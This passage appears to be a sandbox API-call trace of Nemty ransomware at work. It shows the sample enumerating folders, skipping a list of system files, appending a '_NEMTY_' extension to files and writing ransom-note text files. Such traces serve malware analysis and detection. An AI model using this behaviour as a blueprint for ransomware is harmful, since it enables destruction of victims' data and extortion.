SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0088.637] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340100, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0088.637] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0088.638] CloseHandle (hObject=0xffffffff) returned 0 [0088.638] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0088.638] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0088.638] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0088.638] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0088.638] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0088.638] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0088.638] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0088.638] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0088.638] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0088.638] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0088.638] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitevignette1047.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\whitevignette1047.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitevignette1047.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\whitevignette1047.png._nemty_kgobjgd_")) returned 0 [0088.638] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0088.638] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0088.638] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0088.638] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0088.638] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0088.638] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0088.638] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0088.638] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0088.638] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0088.638] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0088.638] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe710b870, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xe710b870, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xe710b870, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0088.638] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0088.638] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0088.638] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0088.638] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0088.638] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0088.638] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0088.639] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0088.639] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0088.639] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0088.639] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0088.639] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0088.639] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0088.639] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0088.639] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0088.639] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0088.639] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0088.639] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0088.639] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0088.639] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0088.639] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0088.639] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0088.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0088.639] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0088.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0088.639] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0088.639] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0088.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0088.639] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0088.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0088.639] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0088.639] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0088.639] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0088.639] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0088.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0088.639] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0088.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0088.639] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0088.639] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0088.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0088.639] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0088.640] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0088.640] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0088.640] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0088.640] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94358 [0088.640] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0088.640] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0088.640] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0088.640] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe710b870, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xe710b870, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xe710b870, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0088.640] FindClose (in: hFindFile=0x3423a70 | out: hFindFile=0x3423a70) returned 1 [0088.640] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0088.640] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942d0 | out: hHeap=0x4f90000) returned 1 [0088.640] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94248 | out: hHeap=0x4f90000) returned 1 [0088.640] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fdc8b88, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa0e2d73a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="Sports", cAlternateFileName="")) returned 1 [0088.640] lstrcmpiW (lpString1="Sports", lpString2=".") returned 1 [0088.640] lstrcmpiW (lpString1="Sports", lpString2="..") returned 1 [0088.640] lstrcmpiW (lpString1="Sports", lpString2="...") returned 1 [0088.640] lstrcmpiW (lpString1="Sports", lpString2="windows") returned -1 [0088.640] lstrcmpiW (lpString1="Sports", lpString2="$RECYCLE.BIN") returned 1 [0088.640] lstrcmpiW (lpString1="Sports", lpString2="rsa") returned 1 [0088.640] lstrcmpiW (lpString1="Sports", lpString2="NTDETECT.COM") returned 1 [0088.640] lstrcmpiW (lpString1="Sports", lpString2="ntldr") returned 1 [0088.640] lstrcmpiW (lpString1="Sports", lpString2="MSDOS.SYS") returned 1 [0088.640] lstrcmpiW (lpString1="Sports", lpString2="IO.SYS") returned 1 [0088.640] lstrcmpiW (lpString1="Sports", lpString2="boot.ini") returned 1 [0088.640] lstrcmpiW (lpString1="Sports", lpString2="boot.ini") returned 1 [0088.640] lstrcmpiW (lpString1="Sports", lpString2="AUTOEXEC.BAT") returned 1 [0088.640] lstrcmpiW (lpString1="Sports", lpString2="ntuser.dat") returned 1 [0088.640] lstrcmpiW (lpString1="Sports", lpString2="desktop.ini") returned 1 [0088.640] lstrcmpiW (lpString1="Sports", lpString2="CONFIG.SYS") returned 1 [0088.641] lstrcmpiW (lpString1="Sports", lpString2="RECYCLER") returned 1 [0088.641] lstrcmpiW (lpString1="Sports", lpString2="BOOTSECT.BAK") returned 1 [0088.641] lstrcmpiW (lpString1="Sports", lpString2="bootmgr") returned 1 [0088.641] lstrcmpiW (lpString1="Sports", lpString2="programdata") returned 1 [0088.641] lstrcmpiW (lpString1="Sports", lpString2="appdata") returned 1 [0088.641] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Sports", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0088.641] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Sports", cchWideChar=6, lpMultiByteStr=0x653ef10, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Sports", lpUsedDefaultChar=0x0) returned 6 [0088.641] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Sports", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0088.641] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Sports", cchWideChar=6, lpMultiByteStr=0x653ef10, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Sports", lpUsedDefaultChar=0x0) returned 6 [0088.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94248 [0088.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0088.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f941c0 [0088.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0088.641] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0088.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0088.641] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0088.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0088.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0088.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0088.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0088.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x4f942c0 [0088.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0088.641] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3cc [0088.643] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942c0 | out: hHeap=0x4f90000) returned 1 [0088.643] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0088.643] WriteFile (in: hFile=0x3cc, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eec0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eec0*=0xef8, lpOverlapped=0x0) returned 1 [0088.644] CloseHandle (hObject=0x3cc) returned 1 [0088.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0088.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0088.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f941c0 [0088.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f942c0 [0088.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94338 [0088.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0088.645] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0088.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0088.645] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0088.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0088.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0088.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0088.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0088.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0088.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0088.645] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3cc [0088.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0088.646] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0088.646] WriteFile (in: hFile=0x3cc, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0088.647] CloseHandle (hObject=0x3cc) returned 1 [0088.647] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0088.647] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94338 | out: hHeap=0x4f90000) returned 1 [0088.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94338 [0088.647] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*.*", lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fdc8b88, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xe87a8970, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xe87a8970, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423a70 [0088.647] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0088.647] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fdc8b88, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xe87a8970, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xe87a8970, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0088.647] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0088.647] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0088.647] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ead378, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ead378, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb5e, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="CircleSubpicture.png", cAlternateFileName="")) returned 1 [0088.647] lstrcmpiW (lpString1="CircleSubpicture.png", lpString2=".") returned 1 [0088.647] lstrcmpiW (lpString1="CircleSubpicture.png", lpString2="..") returned 1 [0088.647] lstrcmpiW (lpString1="CircleSubpicture.png", lpString2="...") returned 1 [0088.647] lstrcmpiW (lpString1="CircleSubpicture.png", lpString2="windows") returned -1 [0088.647] lstrcmpiW (lpString1="CircleSubpicture.png", lpString2="$RECYCLE.BIN") returned 1 [0088.647] lstrcmpiW (lpString1="CircleSubpicture.png", lpString2="rsa") returned -1 [0088.647] lstrcmpiW (lpString1="CircleSubpicture.png", lpString2="NTDETECT.COM") returned -1 [0088.647] lstrcmpiW (lpString1="CircleSubpicture.png", lpString2="ntldr") returned -1 [0088.647] lstrcmpiW (lpString1="CircleSubpicture.png", lpString2="MSDOS.SYS") returned -1 [0088.647] lstrcmpiW (lpString1="CircleSubpicture.png", lpString2="IO.SYS") returned -1 [0088.647] lstrcmpiW (lpString1="CircleSubpicture.png", lpString2="boot.ini") returned 1 [0088.647] lstrcmpiW (lpString1="CircleSubpicture.png", lpString2="boot.ini") returned 1 [0088.648] lstrcmpiW (lpString1="CircleSubpicture.png", lpString2="AUTOEXEC.BAT") returned 1 [0088.648] lstrcmpiW (lpString1="CircleSubpicture.png", lpString2="ntuser.dat") returned -1 [0088.648] lstrcmpiW (lpString1="CircleSubpicture.png", lpString2="desktop.ini") returned -1 [0088.648] lstrcmpiW (lpString1="CircleSubpicture.png", lpString2="CONFIG.SYS") returned -1 [0088.648] lstrcmpiW (lpString1="CircleSubpicture.png", lpString2="RECYCLER") returned -1 [0088.648] lstrcmpiW (lpString1="CircleSubpicture.png", lpString2="BOOTSECT.BAK") returned 1 [0088.648] lstrcmpiW (lpString1="CircleSubpicture.png", lpString2="bootmgr") returned 1 [0088.648] lstrcmpiW (lpString1="CircleSubpicture.png", lpString2="programdata") returned -1 [0088.648] lstrcmpiW (lpString1="CircleSubpicture.png", lpString2="appdata") returned 1 [0088.648] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0088.648] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CircleSubpicture.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0088.648] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0088.648] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CircleSubpicture.png", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CircleSubpicture.png", lpUsedDefaultChar=0x0) returned 20 [0088.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0088.648] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0088.648] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CircleSubpicture.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0088.648] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0088.648] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CircleSubpicture.png", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, 